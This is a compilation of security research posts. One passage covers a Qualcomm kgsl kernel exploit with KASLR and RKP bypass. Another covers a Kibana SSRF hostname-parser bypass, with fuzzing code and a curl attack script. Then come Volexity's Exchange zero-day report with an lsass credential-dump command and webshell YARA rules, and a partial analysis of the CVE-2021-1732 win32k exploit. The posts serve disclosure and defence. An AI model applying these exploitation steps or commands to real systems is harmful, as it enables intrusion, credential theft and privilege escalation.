00011020: 68b2 8e68 c1ff ffff 08af 5109 80ff ffff  h..h......Q.....
00011030: 0000 0000 0000 0000 0100 0000 0000 0000  ................
00011040: 0000 0200 1d00 0000 0000 0000 0000 0000  ................

The 08af 5109 80ff ffff in the second part of the first line looks like an address that corresponds to kernel code. Indeed, it is the address of binder_fops:

# echo 0 > /proc/sys/kernel/kptr_restrict                                                                                                                                                
# cat /proc/kallsyms | grep ffffff800951af08                                                                                                                                                 
ffffff800951af08 r binder_fops

So looks like these are file struct of the binder files that I opened and what I’m seeing here is the field f_ops that points to the binder_fops. Moreover, the 32 bytes after f_ops are the same for every file struct of the same type, which offers a pattern to identify these files. So by reading the memory behind the DMA buffer and looking for this pattern, I can locate the file structs that belong to the binder devices that I opened.

Moreover, the file struct contains a mutex f_pos_lock, which contains a field wait_list:

struct mutex {
	atomic_long_t		owner;
	spinlock_t		wait_lock;
	struct list_head	wait_list;

which is a standard doubly linked list in linux:

struct list_head {
	struct list_head *next, *prev;

When wait_list is initialized, the head of the list will just be a pointer to itself, which means that by reading the next or prev pointer of the wait_list, I can obtain the address of the file struct itself. This will then allow me to work out the address of the DMA buffer which I can control because the offset between the file struct and the buffer is known. (By looking at its offset in the data that I dumped, in this example, the offset is 0x11020).

By using the address of binder_fops, it is easy to work out the KASLR slide and defeat KASLR, and by knowing the address of a controlled DMA buffer, I can use it to store a fake file_operations («vtable» of file struct) and overwrite f_ops of my file struct to point to it. The path to arbitrary code execution is now clear.

  1. Use the out-of-bounds read primitive gained from the use-after-free to dump memory behind a DMA buffer that I controlled.
  2. Search for binder file structs within the memory using the predictable pattern and get the offset of the file struct.
  3. Use the identified file struct to obtain the address of binder_fops and the address of the file struct itself from the wait_list field.
  4. Use the binder_fops address to work out the KASLR slide and use the address of the file struct, together with the offset identified in step two to work out the address of the DMA buffer.
  5. Use the out-of-bounds write primitive gained from the use-after-free to overwrite the f_ops pointer to the file that corresponds to this file struct (which I owned), so that it now points to a fake file_operation struct stored in my DMA buffer. Using file operations on this file will then execute functions of my choice.

Since there is nothing special about binder files, in the actual exploit, I used /dev/null instead of /dev/binder, but the idea is the same. I’ll now explain how to do the last step in the above to gain arbitrary kernel code execution.

Getting arbitrary kernel code execution

To complete the exploit, I’ll use «the ultimate ROP gadget» that was used in An iOS hacker tries Android of Brandon Azad (and I in fact stole a large chunk of code from his exploit). As explained in that post, the function __bpf_prog_run32 can be used to invoke eBPF bytecode supplied through the second argument:

unsigned int __bpf_prog_run32(const void *ctx, const bpf_insn *insn)

to invoke eBPF bytecode, I need to set the second argument to point to the location of the bytecode. As I already know the address of a DMA buffer that I control, I can simply store the bytecode in the buffer and use its address as the second argument to this call. This would allow us to perform arbitrary memory load/store and call arbitrary kernel functions with up to five arguments and a 64 bit return value.

There is, however one more detail that needs taking care of. Samsung devices implement an extra protection mechanism called the Realtime Kernel Protection (RKP), which is part of Samsung KNOX. Research on the topic is widely available, for example, Lifting the (Hyper) Visor: Bypassing Samsung’s Real-Time Kernel Protection by Gal Beniamini and Defeating Samsung KNOX with zero privilege by Di Shen.

For the purpose of our exploit, the more recent A Samsung RKP Compendium by Alexandre Adamski and KNOX Kernel Mitigation Byapsses by Dong-Hoon You are relevant. In particular, A Samsung RKP Compendium offers a thorough and comprehensive description of various aspects of RKP.

Without going into much details about RKP, the two parts that are relevant to our situation are:

  1. RKP implements a form of CFI (control flow integrity) check to make sure that all function calls can only jump to the beginning of another function (JOPP, jump-oriented programming prevention).
  2. RKP protects important data structure such as the credentials of a process so they are effectively read only.

Point one means that even though I can hijack the f_ops pointer of my file struct, I cannot jump to an arbitrary location. However, it is still possible to jump to the start of any function. The practical implication is that while I can control the function that I call, I may not be able to control call arguments. Point two means that the usual shortcut of overwriting credentials of my own process to that of a root process would not work. There are other post-exploitation techniques that can be used to overcome this, which I’ll briefly explain later, but for the exploit of this post, I’ll just stop short at arbitrary kernel code execution.

In our situation, point one is actually not a big obstacle. The fact that I am able to hijack the file_operations, which contains a whole array of possible calls that are thin wrappers of various syscalls means that it is likely to find a file operation with a 64 bit second argument which I can control by making the appropriate syscall. In fact, I don’t even need to look that far. The first operation, llseek fits the bill:

struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);

This function takes a 64 bit integer, loff_t as the second argument and can be invoked by calling the lseek64 syscall:

off_t lseek64(int fd, off_t offset, int whence);

where offset translates directly into loff_t in llseek. So by overwriting the f_ops pointer of my file to have its llseek field point to __bpf_prog_run32, I can invoke any eBPF program of my choice any time I call lseek64, without even the need to trigger the bug again. This gives me arbitrary kernel memory read/write and code execution.

As explained before, because of RKP, it is not possible to simply overwrite process credentials to become root even with arbitrary kernel code execution. However, as pointed out in Mitigations are attack surface, too by Jann Horn, once we have arbitrary kernel memory read and write, all the userspace data and processes are essentially under control and there are many ways to gain control over privileged user processes, such as those with system privilege to effectively gain system privileges. Apart from the concrete technique mentioned in that post for accessing sensitive data, another concrete technique mentioned in Galaxy’s Meltdown — Exploiting SVE-2020-18610 is to overwrite the kernel stack of privileged processes to gain arbitrary kernel code execution as a privileged process. In short, there are many post exploitation techniques available at this stage to effectively root the phone.


In this post I looked at a use-after-free bug in the Qualcomm kgsl driver. The bug was a result of a mismatch between the user supplied memory type and the actual type of the memory object created by the kernel, which led to incorrect clean up logic being applied when an error happens. In this case, two common software errors, the ambiguity in the role of a type, and incorrect handling of errors, played together to cause a serious security issue that can be exploited to gain arbitrary kernel code execution from a third-party app.

While great progress has been made in sandboxing the userspace services in Android, the kernel, in particular vendor drivers, remain a dangerous attack surface. A successful exploit of a memory corruption issue in a kernel driver can escalate to gain the full power of the kernel, which often result in a much shorter exploit bug chain.

The full exploit can be found here with some set up notes.

Next week I’ll be going through the exploit of Chrome issue 1125614 (GHSL-2020-165) to escape the Chrome sandbox from a beta version of Chrome.

SSRF: Bypassing hostname restrictions with fuzzing

SSRF: Bypassing hostname restrictions with fuzzing

Original text by dee__see

When the same data is parsed twice by different parsers, some interesting security bugs can be introduced. In this post I will show how I used fuzzing to find a parser diffential issue in Kibana’s alerting and actions feature and how I leveraged radamsa to fuzz NodeJS’ URL parsers.

Kibana alerting and actions

Kibana has an alerting feature that allows users to trigger an action when certain conditions are met. There’s a variety of actions that can be chosen like sending an email, opening a ticket in Jira or sending a request to a webhook. To make sure this doesn’t become SSRF as a feature, there’s an xpack.actions.allowedHosts setting where users can configure a list of hosts that are allowed as webhook targets.

Parser differential

Parsing URLs consistently is notoriously difficult and sometimes the inconsistencies are there on purpose. Because of this, I was curious to see how the webhook target was validated against the xpack.actions.allowedHosts setting and how the URL was parsed before sending the request to the webhook. Is it the same parser? If not, are there any URLs that can appear fine to the hostname validation but target a completely different URL when sending the HTTP request?

After digging into the webhook code, I coud identify that hostname validation happens in isHostnameAllowedInUri. The important part to notice is that the hostname is extracted from the webhook’s URL by doing new URL(userInputUrl).hostname.

function isHostnameAllowedInUri(config: ActionsConfigType, uri: string): boolean {
  return pipe(
    tryCatch(() => new URL(uri)),
    map((url) => url.hostname),
    mapNullable((hostname) => isAllowed(config, hostname)),
    getOrElse<boolean>(() => false)

On the other hand, the library that sends the HTTP request uses require('url').parse(userInputUrl).hostname to parse the hostname.

var url = require('url');

// ...

// Parse url
var fullPath = buildFullPath(config.baseURL, config.url);
var parsed = url.parse(fullPath);

// ...

options.hostname = parsed.hostname;

After reading some documentation, I could validate that those were effectively two different parsers and not just two ways of doing the same thing. Very interesting! Now I’m looking for a URL that is accepted by isHostnameAllowedInUri but results in an HTTP request to a different host. In other words, I’m looking for X where new URL(X).hostname !== require('url').parse(X).hostname and this is where the fuzzing comes in.

Fuzzing for SSRF

When you’re looking to generate test strings without going all in with coverage guided fuzzing like AFL or libFuzzer, radamsa is the perfect solution.

Radamsa is a test case generator for robustness testing, a.k.a. a fuzzer. It is typically used to test how well a program can withstand malformed and potentially malicious inputs. It works by reading sample files of valid data and generating interestringly different outputs from them.

The plan was the following:

  1. Feed a normal URL to radamsa as a starting point
  2. Parse radamsa’s output using both parsers
  3. If both parsed hostnames are different and valid, save that URL

Here’s the code used to do the fuzzing and validate the results:

const child_process = require('child_process');
const radamsa = child_process.spawn('./radamsa/bin/radamsa', ['-n', 'inf']);

radamsa.stdout.on('data', function (input) {
    input = 'http://' + input

    // Resulting host names need to be valid for this to be useful
    function isInvalid(host) {
        return host === null || host === '' || !/^[a-zA-Z0-9.-]+$/.test(host1);

    let host1;
    try {
        host1 = new URL(input).hostname;
    } catch (e) {
        return; // Both hosts need to parse

    if (isInvalid(host1)) return;
    if (/^([0-9.]+)$/.test(host1)) return; // host1 should be a domain, not an IP

    let host2;
    try {
        host2 = require('url').parse(input).hostname;
    } catch (e) {
        return; // Both hosts need to parse

    if (isInvalid(host2)) return;
    if (host1 === host2) return;

        `${encodeURIComponent(input)} was parsed as ${host1} with URL constructor and ${host2} with url.parse.`

There are some issues with that code and I think the stdin writer might have trouble handling null bytes, but nevertheless after a little while this popped up (the output was URL-encoded to catch non-printable characters):

http%3A%2F%2Fuser%3Apass%40domain.com%094294967298%2F%3Fab%3D- was parsed as domain.com4294967298 with URL constructor and domain.com with url.parse.

With the original string containing the hostname domain.com<TAB>4294967298, one parser stripped the tab character and the other truncated the hostname where the tab was inserted. This is very interesting and can definitely be abused: imagine a webhook that requires the target to be yourdomain.com, but when you enter yourdomain.co<TAB>m the filter thinks it’s valid but the request is actually sent to yourdomain.co. All the attacker has to do is register that domain and point it to or any other internal target and it makes for a fun SSRF.

The attack

This is exactly what could be achived in Kibana.

  1. Assume the xpack.actions.allowedHosts setting requires webhooks to target yourdomain.com
  2. As the attacker, register yourdomain.co
  3. Add a DNS record pointing to or any other internal IP
  4. Create a webhook action
  5. Use the API to send a test message to the webhook and specify the url yourdomain.co<TAB>m
  6. Observe the response, in this case there were 3 different responses allowing to differentiate a live host, a live host that responds to HTTP requests and a dead host

Here’s the script used to demonstrate the attack.


# The \t is important

# Create Webhook Action
connector_id=$(curl -sk -u "$creds" --url "$kibana_url/api/actions/action" -X POST -H 'Content-Type: application/json' -H 'kbn-xsrf: true' \
    -d '{"actionTypeId":".webhook","config":{"method":"post","hasAuth":false,"url":"'$ssrf_target'","headers":{"content-type":"application/json"}},"secrets":{"user":null,"password":null},"name":"'$(date +%s)'"}' |
    jq -r .id)

# Send request to target using the test function
curl -sk -u "$creds" --url "$kibana_url/api/actions/action/$connector_id/_execute" -X POST -H 'Content-Type: application/json' -H 'kbn-xsrf: true' \
    -d '{"params":{"body":"{\"arbitrary_payload_here\":true}"}}'

# Server should have received the request


Unfortunately, the resulting URL with the bypass is a bit mangled as we can see from this output taken from the NodeJS console:

> require('url').parse("htts://example.co\x09m/path")
Url {
  protocol: 'htts:',
  slashes: true,
  auth: null,
  host: 'example.co',
  port: null,
  hostname: 'example.co',
  hash: null,
  search: null,
  query: null,
  pathname: '%09m/path',
  path: '%09m/path',
  href: 'htts://example.co/%09m/path' }

The part that is truncated from the hostname is just pushed to the path and make it hard to craft any request that can achieve more than the basic internal network/port scan. However, if the parsers’ roles had been inverted and new URI had been used for the request instead I would have had a clean path and much more potential for exploitation with a fully controlled path and POST body. Certainly this situation comes up somewhere, let me know if you come across something like that and are able to exploit it!


A few things to take away from this:

  • When reviewing code, any time data is parsed for valiation make sure it’s parsed the same way when it’s being used
  • Fuzzing with radamsa is simple and quick to setup, a great addition to any bug hunter’s toolbet
  • If you’re doing blackbox testing and facing hostname validations in a NodeJS envioronment, try to add some tabs and see where that leads

Thanks for reading!

(This was disclosed with permission)

Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities

Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities

Original text by Josh Grunzweig, Matthew Meltzer, Sean Koessel, Steven Adair, Thomas Lancaster

Volexity is seeing active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal e-mail and compromise networks. These attacks appear to have started as early as January 6, 2021.

In January 2021, through its Network Security Monitoring service, Volexity detected anomalous activity from two of its customers’ Microsoft Exchange servers. Volexity identified a large amount of data being sent to IP addresses it believed were not tied to legitimate users. A closer inspection of the IIS logs from the Exchange servers revealed rather alarming results. The logs showed inbound POST requests to valid files associated with images, JavaScript, cascading style sheets, and fonts used by Outlook Web Access (OWA). It was initially suspected the servers might be backdoored and that webshells were being executed through a malicious HTTP module or ISAPI filter. As a result, Volexity started its incident response efforts and acquired system memory (RAM) and other disk artifacts to initiate a forensics investigation. This investigation revealed that the servers were not backdoored and uncovered a zero-day exploit being used in the wild.

Through its analysis of system memory, Volexity determined the attacker was exploiting a zero-day server-side request forgery (SSRF) vulnerability in Microsoft Exchange (CVE-2021-26855). The attacker was using the vulnerability to steal the full contents of several user mailboxes. This vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. The attacker only needs to know the server running Exchange and the account from which they want to extract e-mail.

Additionally, Volexity is providing alternative mitigations that may be used by defenders to assist in securing their Microsoft Exchange instances. This vulnerability has been confirmed to exist within the latest version of Exchange 2016 on a fully patched Windows Server 2016 server. Volexity also confirmed the vulnerability exists in Exchange 2019 but has not tested against a fully patched version, although it believes they are vulnerable. It should also be noted that is vulnerability does not appear to impact Office 365.Following the discovery of CVE-2021-26855, Volexity continued to monitor the threat actor and work with additional impacted organizations. During the course of multiple incident response efforts, Volexity identified that the attacker had managed to chain the SSRF vulnerability with another that allows remote code execution (RCE) on the targeted Exchange servers (CVE-2021-27065). In all cases of RCE, Volexity has observed the attacker writing webshells (ASPX files) to disk and conducting further operations to dump credentials, add user accounts, steal copies of the Active Directory database (NTDS.DIT), and move laterally to other systems and environments.A patch addressing both of these vulnerabilities is expected imminently.

Authentication Bypass Vulnerability

While Volexity cannot currently provide full technical details of the exploit and will not be sharing proof-of-concept exploit code, it is still possible to provide useful details surrounding the vulnerability’s exploitation and possible mitigations. Volexity observed the attacker focused on getting a list of e-mails from a targeted mailbox and downloading them. Based on these observations, it was possible for Volexity to further improve and automate attacks in a lab environment.

There are two methods to download e-mail with this vulnerability, depending on the way that Microsoft Exchange has been configured. In corporate environments it is common that multiple Exchange servers will be set up. This is often done for load balancing, availability, and resource splitting purposes. While it is less common, it is also possible to run all Exchange functionality on a single server.

In the case where a single server is being used to provide the Exchange service, Volexity believes the attacker must know the targeted user’s domain security identifier (SID) in order to access their mailbox. This is a static value and is not considered something secret. However, it is not something that is trivially obtained by someone without access to systems within a specific organization.

In a multiple server configuration, where the servers are configured in a Database Availability Group (DAG), Volexity has proven an attacker does not need to acquire a user’s domain SID to access their mailbox. The only information required is the e-mail address of the user they wish to target.

In order to exploit this vulnerability, the attacker must also identify the fully qualified domain name (FQDN) of the internal Exchange server(s). Using a series of requests, Volexity determined that this information could be extracted by an attacker with only initial knowledge of the external IP address or domain name of a publicly accessible Exchange server. After this information is obtained, the attacker can generate and send a specially crafted HTTP POST request to the Exchange server with an XML SOAP payload to the Exchange Web Services (EWS) API endpoint. This SOAP request, using specially crafted cookies, bypasses authentication and ultimately executes the underlying request specified in the XML, allowing an attacker to perform any operation on the users’ mailbox.

Volexity has observed this attack conducted via OWA. The exploit involved specially crafted POST requests being sent to a valid static resources that does not require authentication. Specifically, Volexity has observed POST requests targeting files found on the following web directory:


This folder contains image, font, and cascading style sheet files. Using any of these files for the POST request appears to allow the exploit to proceed. If a file such as /owa/auth/logon.aspx or simply a folder such as /owa/auth/ were to be used, the exploit will not work.

Authentication Bypass Exploit Demonstration

The video below demonstrates the vulnerability being exploited in a lab environment:https://videos.sproutvideo.com/embed/069dddb51c1fe6c48f/ba395ebbf0de5512

Figure 1. Video demonstrating the authentication bypass vulnerability at work in a lab environment.

In the video demonstration, the following SOAP XML payload is used to retrieve the identifiers of each email in Alice’s inbox:

Figure 2. XML payload used to pull email identifiers from Alice’s inbox without authentication.

Then, the following payload is used to pull down each individual email:

Figure 3. Payload used to retrieve individual emails without authentication.

Remote Code Execution Vulnerability

As mentioned in the introduction to this post, a remote code execution (RCE) exploit was also observed in use against multiple organizations. This RCE appears to reside within the use of the Set-OabVirtualDirectory ExchangePowerShell cmdlet. Evidence of this activity can be seen in Exchange’s ECP Server logs. A snippet with the exploit removed is shown below.


IIS logs for the server would show an entry similar to what is shown below; however, this URL path may be used for items not associated with this exploit or activity.


In this case, this simple backdoor, which Volexity has named SIMPLESEESHARP, was then used to drop a larger webshell, named SPORTSBALL, on affected systems. Further, Volexity has observed numerous other webshells in use, such as China Chopper variants and ASPXSPY.

POST Exploitation Activity

While the attackers appear to have initially flown largely under the radar by simply stealing e-mails, they recently pivoted to launching exploits to gain a foothold. From Volexity’s perspective, this exploitation appears to involve multiple operators using a wide variety of tools and methods for dumping credentials, moving laterally, and further backdooring systems. Below is a summary of the different methods and tools Volexity has observed thus far:

rundll32 C:\windows\system32\comsvcs.dll MiniDump lsass.dmpDump process memory of lsass.exe to obtain credentials
PsExecWindows Sysinternals tool used to execute commands on remote systems
ProcDumpWindows Sysinternals tool to dump process memory
WinRar Command Line UtilityUsed archive data exfiltration
Webshells (ASPX and PHP)Used to allow command execution or network proxying via external websites
Domain Account User AdditionLeveraged by attackers to add their own user account and grant it privileges to provide access in the future

Indicators of Compromise

Authentication Bypass Indicators

In Volexity’s observations of authentication bypass attacks being performed in the wild, files such as the following were the targets of HTTP POST requests:


Remote Code Execution Indicators

To identify possible historical activity related to the remote code execution exploit, organizations can search their ECP Server logs for the following string (or similar).


ECP Server logs are typically located at <exchange install path>\Logging\ECP\Server\

Webshell Indicators

Further, Volexity has observed indicators that are consistent with web server breaches that can be used to look on disk and in web logs for access to or the presence of ASPX files at the following paths:

\inetpub\wwwroot\aspnet_client\ (any .aspx file under this folder or sub folders)

\<exchange install path>\FrontEnd\HttpProxy\ecp\auth\ (any file besides TimeoutLogoff.aspx)
\<exchange install path>\FrontEnd\HttpProxy\owa\auth\ (any file or modified file that is not part of a standard install)
\<exchange install path>\FrontEnd\HttpProxy\owa\auth\Current\<any aspx file in this folder or subfolders>
\<exchange install path>\FrontEnd\HttpProxy\owa\auth\<folder with version number>\<any aspx file in this folder or subfolders>

It should be noted that Volexity has observed the attacker adding webshell code to otherwise legitimate ASPX files in an attempt to blend in and hide from defenders.

Web Log User-Agents

There are also a handful of User-Agent that may be useful for responders to look for when examining their web logs. These are not necessarily indicative of compromise, but should be used to determine if further investigation.

Volexity observed the following non-standard User-Agents associated with POST requests to the files found under folders within /owa/auth/Current.


Volexity observed the following User-Agents in conjunction with exploitation to /ecp/ URLs.


Further other notable User-Agent entries tied to tools used for post-exploitation access to webshells.



Additional Auth Bypass and RCE Indicators

To identify possible historical activity relating to the authentication bypass and RCE activity, IIS logs from Exchange servers can be examined for the following:

POST /owa/auth/Current/
POST /ecp/default.flt

POST /ecp/main.css

POST /ecp/<single char>.js

Note that the presence of log entries with POST requests under these directories does not guarantee an Exchange server has been exploited. However, its presence should warrant further investigation.

Yara signatures for non trivial webshells deployed by attackers following successful exploitation may be found in the Appendix of this post.

Network Indicators – Attacker IPs

Volexity has observed numerous IP addresses leveraged by the attackers to exploit the vulnerabilities described in this blog. These IP addresses are tied to VPS servers and VPN services. Volexity has also observed the attackers using Tor, but has made attempts to remove those entries from the list below.


Highly skilled attackers continue to innovate in order to bypass defenses and gain access to their targets, all in support of their mission and goals. These particular vulnerabilities in Microsoft Exchange are no exception. These attackers are conducting novel attacks to bypass authentication, including two-factor authentication, allowing them to access e-mail accounts of interest within targeted organizations and remotely execute code on vulnerable Microsoft Exchange servers.

Due to the ongoing observed exploitation of the discussed vulnerabilities, Volexity urges organizations to immediately apply the available patches or temporarily disabling external access to Microsoft Exchange until a patch can be applied.

Need Assistance?

If you have concerns that your servers or networks may have been compromised from this vulnerability, please reach out to the Volexity team and we can help you make a determination if further investigation is warranted.


rule webshell_aspx_simpleseesharp : Webshell Unclassified


author = “threatintel@volexity.com”
date = “2021-03-01”
description = “A simple ASPX Webshell that allows an attacker to write further files to disk.”
hash = “893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2”


$header = “<%@ Page Language=\”C#\” %>”
$body = “<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine”


$header at 0 and
$body and
filesize < 1KB


rule webshell_aspx_reGeorgTunnel : Webshell Commodity{meta:author = “threatintel@volexity.com”date = “2021-03-01”description = “variation on reGeorgtunnel”hash = “406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928”reference = “https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx”strings:$s1 = “System.Net.Sockets”$s2 = “System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get”$t1 = “.Split(‘|’)”$t2 = “Request.Headers.Get”$t3 = “.Substring(“$t4 = “new Socket(“$t5 = “IPAddress ip;”condition:all of ($s*) orall of ($t*)}

rule webshell_aspx_sportsball : Webshell


author = “threatintel@volexity.com”
date = “2021-03-01”
description = “The SPORTSBALL webshell allows attackers to upload files or execute commands on the system.”
hash = “2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a”


$uniq1 = “HttpCookie newcook = new HttpCookie(\”fqrspt\”, HttpContext.Current.Request.Form”
$uniq2 = “ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE=”

$var1 = “Result.InnerText = string.Empty;”
$var2 = “newcook.Expires = DateTime.Now.AddDays(”
$var3 = “System.Diagnostics.Process process = new System.Diagnostics.Process();”
$var4 = “process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\””
$var5 = “else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\””
$var6 = “<input type=\”submit\” value=\”Upload\” />”


any of ($uniq*) or
all of ($var*)


APTExploitMicrosoft Exchange



Original text


In December 2020, DBAPPSecurity Threat Intelligence Center found a new component of BITTER APT. Further analysis into this component led us to uncover a zero-day vulnerability in win32kfull.sys. The origin in-the-wild sample was designed to target newest Windows10 1909 64-bits operating system at that time. The vulnerability also affects and could be exploited on the latest Windows10 20H2 64-bits operating system. We reported this vulnerability to MSRC, and it is fixed as CVE-2021-1732 in the February 2021 Security Update.

So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in China.


  • · 2020/12/10: DBAPPSecurity Threat Intelligence Center caught a new component of BITTER APT.
  • · 2020/12/15: DBAPPSecurity Threat Intelligence Center uncovered an unknown windows kernel vulnerability in the component and started the root cause analysis.
  • · 2020/12/29: DBAPPSecurity Threat Intelligence Center reported the vulnerability to MSRC.
  • · 2020/12/29: MSRC confirmed the report has been received and opened a case for it.
  • · 2020/12/31: MSRC confirmed the vulnerability is a zero-day and asked for more information.
  • · 2020/12/31: DBAPPSecurity provided more detail to MSRC.
  • · 2021/01/06: MSRC thanked for the addition information and started working for a fix for the vulnerability.
  • · 2021/02/09: MSRC fixes the vulnerability as CVE-2021-1732.


According to our analysis, the in-the-wild zero-day has the following highlights:

  1. 1. It targets the latest version of Windows10 operating system
    1. 1.1. The in-the-wild sample targets the latest version of Windows10 1909 64-bits operating system (The sample was compiled in May 2020).
    2. 1.2. The origin exploit aims to target several Windows 10 versions, from Windows10 1709 to Windows10 1909.
    3. 1.3. The origin exploit could be exploited on Windows10 20H2 with minor modifications.
  2. 2. The vulnerability is high quality and the exploit is sophisticated
    1. 2.1. The origin exploit bypasses KASLR with the help of the vulnerability feature.
    2. 2.2. This is not a UAF vulnerability. The whole exploit process is not involved heap spray or memory reuse. The Type Isolation mitigation can’t mitigate this exploit. It is unable to detect it by Driver Verifier, the in-the-wild sample can exploit successfully when Driver Verifier is turned on. It’s hard to hunt the in-the-wild sample through sandbox.
    3. 2.3. The arbitrary read primitive is achieved by vulnerability feature in conjunction with GetMenuBarInfo, which is impressive.
    4. 2.4. After achieving arbitrary read/write primitives, the exploit uses Data Only Attack to perform privilege escalation, which can’t be mitigated by current kernel mitigations.
    5. 2.5. The success rate of the exploit is almost 100%.
    6. 2.6. When finishing exploit, the exploit will restore all key struct members, there will be no BSOD after exploit.
  3. 3. The attacker used it with caution
    1. 3.1. Before exploit, the in-the-wild sample detects specific antivirus software.
    2. 3.2. The in-the-wild sample performs operating system build version check, if current build version is under than 16535(Windows10 1709), the exploit will never be called.
    3. 3.3. The in-the-wild sample was compiled in May 2020, and caught by us in December 2020, it survived at least 7 months. This indirectly reflects the difficulty of capturing such stealthy sample.

Technical Analysis

0x00 Trigger Effect

If we run the in-the-wild sample in the lasted windows10 1909 64-bits environment, we could observe current process initially runs under Medium Integrity Level.

After the exploit code executing, we could observe current process runs under System Integrity Level. This indicates that the Token of the current process has been replaced with the Token of System process, which is a common method of exploiting kernel privilege escalation vulnerabilities.

If we run the in-the-wild sample in the lasted windows10 20H2 64-bits environment, we could observe BSOD immediately.

0x01 Overview Of The Vulnerability

This vulnerability is caused by xxxClientAllocWindowClassExtraBytes callback in win32kfull!xxxCreateWindowEx. The callback causes the setting of a kernel struct member and its corresponding flag to be out of sync.

When xxxCreateWindowEx creating a window that has WndExtra area, it will call xxxClientAllocWindowClassExtraBytes to trigger a callback, the callback will return to user mode to allocate WndExtra area. In the custom callback function, the attacker could call NtUserConsoleControl and pass in the handle of current window, this will change a kernel struct member (which points to the WndExtra area) to offset, and setting a corresponding flag to indicate that the member now is an offset. After that, the attacker could call NtCallbackReturn in the callback and return an arbitrary value. When the callback ends and return to kernel mode, the return value will overwrite the previous offset member, but the corresponding flag is not cleared. After that, the unchecked offset value is directly used by kernel code for heap memory addressing, causing out-of-bounds access.

0x02 Root Cause

We completely reversed the exploit code of the in-the-wild sample, and constructed a poc base it. The following figure is the main execution logic of our poc, we will explain the vulnerability trigger logic in conjunction with this figure.

In win32kfull!xxxCreateWindowEx, it will call user32!_xxxClientAllocWindowClassExtraBytes callback function to allocate the memory of WndExtra by default. The return value of the callback is a use mode pointer which will then been saved to a kernel struct member (the WndExtra member).

If we call win32kfull!xxxConsoleControl in a custom _xxxClientAllocWindowClassExtraBytes callback and pass in the handle of current window, the WndExtra member will be change to an offset, and a corresponding flag will be set (|=0x800).

The poc triggers an BSOD when calling DestoryWindow, win32kfull!xxxFreeWindow will check the flag above, if it has been set, indicating the WndExtra member is an offset, xxxFreeWindow will call RtlFreeHeap to free the WndExtra area; if not, indicating the WndExtra member is an use mode pointer, xxxFreeWindow will call xxxClientFreeWindowClassExtraBytes to free the WndExtra area.

We could call NtCallbackReturn in the end of custom _xxxClientAllocWindowClassExtraBytes callback and return an arbitrary value. When the callback finishes and return to kernel mode, the return value will overwrite the offset member, but the corresponding flag is not cleared.

In the poc, we return an user mode heap address, the address overwrites the origin offset to an user mode heap address(fake_offset). This finally causes win32kfull!xxxFreeWindow to trigger an out-of-bound access when using RtlFreeHeap to release a kernel heap.

  • What RtlFreeHeap expects to free is RtlHeapBase+offset
  • What RtlFreeHeap actually free is RtlHeapBase+fake_offset

If we call the RtlFreeHeap here, it will trigger a BSOD.

0x03 Exploit

The in-the-wild sample is a 64-bits program, it first calls CreateToolhelp32Snapshot and some other functions to enumerate process to detect “avp.exe” (avp.exe is a process of Kaspersky Antivirus Software).

However, when detecting the “avp.exe” process, it will only save some value to custom struct and will not exit process, the full exploit function will still be called. We install the Kaspersky antivirus product and run the sample; it will obtain system privileges as usual.

It then calls IsWow64Process to check whether the current environment is 32-bits or 64-bits, and fix some offsets based on the result. Here the code developer seems make a mistake, according to the source code below, g_x64 should be understood as g_x86, but subsequent calls indicate that this variable represents the 64-bits environment.

However, the code developer forces g_x64 to TRUE at initialization, the call to IsWow64Process actually can be ignored here. But this seems to imply that the developer had also developed another 32-bits version exploit.

After fixing some offsets, it obtains the address of RtlGetNtVersionNumbers, NtUserConsoleControl and NtCallbackReturn. Then it calls RtlGetNtVersionNumbers to get the build number of current operating system, the exploit function will only be called when the build number is larger than 16535(Windows10 1709), and if the build number larger than 18204(Windows10 1903), it will fix some kernel struct offset. This seems to imply that support for these versions was added later.

If the current environment passes the check, the exploit will be called by the in the wild sample. The exploit first searches bytes to get the address of HmValidateHandle, and hooks USER32!_xxxClientAllocWindowClassExtraBytes to a custom callback function.

The exploit then registers two type of windows class. The name of one class is “magicClass”, which is used to create the vulnerability window. The name of another class is “nolmalClass”, which is used to create normal windows which will assist the arbitrary address write primitive later.

The exploit creates 10 windows using normalClass, and call HmValidateHandle to leak the user mode tagWND address of each window and an offset of each window through the tagWND address. Then the exploit destroys the last 8 windows, only keep the window 0 and window 1.

If current program is 64-bits, the exploit will call NtUserConsoleControl and pass the handle of windows 1, this will change the WndExtra member of window 0 to an offset. The exploit then leaks the kernel tagWND offset of windows 0 for later use.

Then the exploit uses magicClass to create another window (windows 2), windows 2 has a certain cbWndExtra value which was generated before. In the process of creating window 2, it will trigger the xxxClientAllocWindowClassExtraBytes callback, and enter the custom callback function.

In the custom callback function, the exploit first checks if the cbWndExtra of current window match a certain value, then checks if current process is 64-bits. If both checks pass, the exploit calls NtUserConsoleControl and passes the handle of windows 2, this changes the WndExtra of window 2 to an offset and set the corresponding flag. Then the exploit call NtCallbackReturn and pass the kernel tagWND offset of windows 0. When return to kernel mode, kernel WndExtra offset of windows 2 will been changed to the kernel tagWND offset of windows 0. This causes the subsequent read/write on the WndExtra area of window 2 to the read/write on the kernel tagWND structure of window 0.

After window 2 is created, the exploit obtains the primitive to write the kernel tagWND of window 0 by setting the WndExtra area of window 2. The exploit makes a call to SetWindowLongW on window 2 to test if this primitive works fine.

If all works fine, the exploit calls SetWindowLongW to set cbWndExtra of windows 0 to 0xfffffff, this gives window 0 the OOB read/write primitives. The exploit then using the OOB write primitive to modify the style of window 1(dwStyle|=WS_CHILD), after that, the exploit replaces the origin spmenu of window 1 with a fake spmenu.

